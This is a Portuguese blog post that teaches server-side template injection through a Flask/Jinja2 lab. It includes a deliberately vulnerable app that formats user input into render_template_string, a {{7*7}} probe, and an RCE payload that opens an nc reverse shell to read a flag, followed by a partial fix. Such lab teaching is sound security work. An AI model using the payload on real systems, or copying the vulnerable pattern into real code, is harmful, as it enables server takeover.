SSTI
Voltar para todos os posts
· web· lab· injection

SSTI (Server-Side Template Injection)

Introdução prática à vulnerabilidade SSTI usando Flask e Jinja2.

Neste post

Introdução

Para entender adequadamente o conceito de SSTI (Server-Side Template Injection), é crucial ter uma compreensão dos templates e de como funcionam no desenvolvimento web. Simplificando, um template é um arquivo ou parte de código que define a estrutura para representar dados ou a apresentação visual de uma aplicação.

Os templates desempenham um papel fundamental no desenvolvimento web, permitindo aos desenvolvedores separar o conteúdo estático do dinâmico. Eles oferecem uma maneira eficiente de reutilizar e organizar código HTML, CSS e JavaScript, facilitando a manutenção e escalabilidade dos projetos.

Diversos frameworks para desenvolvimento web suportam templates, tais como:

  • PHP: Twig
  • Python: Django, Jinja2
  • Java: Java Server Pages (JSP)

No entanto, a flexibilidade dos templates também pode representar uma vulnerabilidade significativa. É aqui que a SSTI entra em jogo, explorando falhas na implementação dos templates para executar código no servidor.

Sobre a vulnerabilidade

A vulnerabilidade de SSTI (Server-Side Template Injection) ocorre quando um atacante consegue injetar templates na aplicação, levando o backend a interpretar código malicioso e permitindo que o atacante ganhe controle sobre o comportamento do servidor.

Uma vez explorada, essa vulnerabilidade possibilita uma série de ataques, incluindo:

  1. Execução de Comandos: O atacante pode executar comandos arbitrários no servidor, comprometendo a segurança do sistema e potencialmente obtendo acesso não autorizado.
  2. Leitura de Arquivos Sensíveis: O código malicioso pode ser usado para ler arquivos sensíveis no servidor, como arquivos de configuração, credenciais de banco de dados ou até mesmo código-fonte.
  3. Exfiltração de Dados: Uma vez dentro do sistema, o atacante pode extrair dados sensíveis, como informações de usuários, dados financeiros ou propriedade intelectual, por exemplo.

Montar um ataque de SSTI requer habilidades para detectar, identificar e explorar a vulnerabilidade.

Untitled

Detectar

Identificar uma Server-Side Template Injection (SSTI) pode ser confundido com um ataque de Cross-Site Scripting (XSS). Portanto, ao encontrar uma possível vulnerabilidade, é importante realizar uma análise cuidadosa para confirmar se realmente se trata de uma SSTI.

Identificar

Após detectar uma possível SSTI, é crucial utilizar técnicas apropriadas para identificar o tipo de framework ou tecnologia que está sendo utilizado na aplicação. Isso é fundamental para planejar e executar um ataque bem-sucedido.

untitled

Exploração

Uma vez confirmada a presença de SSTI na aplicação, abre-se a oportunidade de buscar uma Execução Remota de Código (RCE) ou acessar dados sensíveis do servidor. Isso pode ser realizado utilizando payloads e técnicas adequadas para explorar essa vulnerabilidade de forma eficaz.

Laboratório

Neste laboratório prático, utilizamos a combinação do Jinja2 com o Flask para criar um ambiente de teste onde podemos explorar a vulnerabilidade de SSTI.

Template HTML

O código HTML abaixo representa o template utilizado para construir a interface do usuário:

<!DOCTYPE html>
<html lang="pt-br">

<head>
  <meta charset="UTF-8">
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
  <title>Perfil</title>
  <link rel="stylesheet" href="static/style.css">
</head>

<body>
  <nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">Meu Perfil</a><button
      class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav"
      aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button>
    <div class="collapse navbar-collapse" id="navbarNav">
      <ul class="navbar-nav ml-auto">
        <li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li>
      </ul>
    </div>
  </nav>
  <div class="container mt-5">
    <div class="row">
      <div class="col-md-4">
        <div class="card"><img src="static/image.png" class="card-img-top" alt="Imagem do Perfil">
          <div class="card-body">
            <h5 class="card-title">{}</h5> 
          </div>
        </div>
      </div>
      <div class="col-md-8">
        <div class="card">
          <div class="card-body">
            <h5 class="card-title">Bem-vindo!</h5>
            <p class="card-text">Este é o seu perfil. Use o formulário abaixo para buscar outros usuários.</p>
            <form>
              <div class="form-group"><input type="text" class="form-control" name="user"
                  placeholder="Digite o nome do usuário"></div><button type="submit"
                class="btn btn-primary">Buscar</button>
            </form>
          </div>
        </div>
      </div>
    </div>
  </div>
</body>

</html>

Código backend (Flask)

O código Python abaixo representa o backend da aplicação Flask. Aqui, o template HTML é renderizado e o nome de usuário é passado como parâmetro GET para o servidor sem nenhum tipo de sanitização adequada.

from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route('/')
def index():
    user =  request.args.get("user") or "Jiuseppe"
    template = """<!DOCTYPE html><html lang="pt-br"><head><meta charset="UTF-8"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><title>Perfil</title><link rel="stylesheet" href="static/style.css"></head><body><nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">Meu Perfil</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse" id="navbarNav"><ul class="navbar-nav ml-auto"><li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li></ul></div></nav><div class="container mt-5"><div class="row"><div class="col-md-4"><div class="card"><img src="static/image.png" class="card-img-top" alt="Imagem do Perfil"><div class="card-body"><h5 class="card-title">{}</h5></div></div></div><div class="col-md-8"><div class="card"><div class="card-body"><h5 class="card-title">Bem-vindo!</h5><p class="card-text">Este é o seu perfil. Use o formulário abaixo para buscar outros usuários.</p><form><div class="form-group"><input type="text" class="form-control" name="user" placeholder="Digite o nome do usuário"></div><button type="submit" class="btn btn-primary">Buscar</button></form></div></div></div></div></div></body></html>""".format(user)
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

Neste laboratório, focamos na manipulação do parâmetro user na URL para explorar a vulnerabilidade de SSTI.

Com isso, temos a aplicação rodando!

Untitled

Passo 1: Identificar

  • Testamos um XSS simples para ver se a aplicação pode ser vulnerável.

    Untitled

  • Utilizamos a payload {{7*7}} no parâmetro user na URL.

  • Observamos que o resultado exibido na página é 49, indicando que o servidor está interpretando e executando a expressão matemática inserida como um template Jinja2, confirmando assim a presença de uma vulnerabilidade SSTI.

    Untitled

Passo 2: Explorar

  • Como resultado, conseguimos obter uma execução remota de código (RCE) no servidor, como evidenciado pelo comando id sendo executado e o resultado retornado.

    Untitled

  • Utilizamos a payload maliciosa {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f").read()}} para obter uma reverse shell no servidor e recuperar o arquivo “flag.txt”.

    Untitled

Mitigação

  • Sanitização do Parâmetro user

Para mitigar a vulnerabilidade SSTI neste laboratório, aplicamos uma sanitização simples no código backend. O caractere { foi substituído por &#123; na entrada do usuário, limitando a capacidade de explorar esse caso específico de SSTI. Em uma aplicação real, a abordagem correta é evitar montar templates concatenando ou formatando entrada do usuário antes de chamar funções como render_template_string.

from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route('/')
def index():
    user =  request.args.get("user") or "Jiuseppe"
    user = user.replace("{","&#123;")
    template = """<!DOCTYPE html><html lang="pt-br"><head><meta charset="UTF-8"><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><title>Perfil</title><link rel="stylesheet" href="static/style.css"></head><body><nav class="navbar navbar-expand-lg navbar-light bg-light"><a class="navbar-brand" href="#">Meu Perfil</a><button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button><div class="collapse navbar-collapse" id="navbarNav"><ul class="navbar-nav ml-auto"><li class="nav-item active"><a class="nav-link" href="/">Home <span class="sr-only">(current)</span></a></li></ul></div></nav><div class="container mt-5"><div class="row"><div class="col-md-4"><div class="card"><img src="static/image.png" class="card-img-top" alt="Imagem do Perfil"><div class="card-body"><h5 class="card-title">{}</h5></div></div></div><div class="col-md-8"><div class="card"><div class="card-body"><h5 class="card-title">Bem-vindo!</h5><p class="card-text">Este é o seu perfil. Use o formulário abaixo para buscar outros usuários.</p><form><div class="form-group"><input type="text" class="form-control" name="user" placeholder="Digite o nome do usuário"></div><button type="submit" class="btn btn-primary">Buscar</button></form></div></div></div></div></div></body></html>""".format(user)
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

Untitled

zip do laboratório abaixo!

lab.zip

Conclusão

Em conclusão, a vulnerabilidade de SSTI (Server-Side Template Injection) representa uma ameaça significativa para a segurança das aplicações que utilizam frameworks baseados em templates.

Referências

  1. PortSwigger Research - Server-Side Template Injection
  2. HackTricks Book - Pentesting Web: SSTI (Server-Side Template Injection)
  3. HackTricks Book - Pentesting Web: Jinja2 SSTI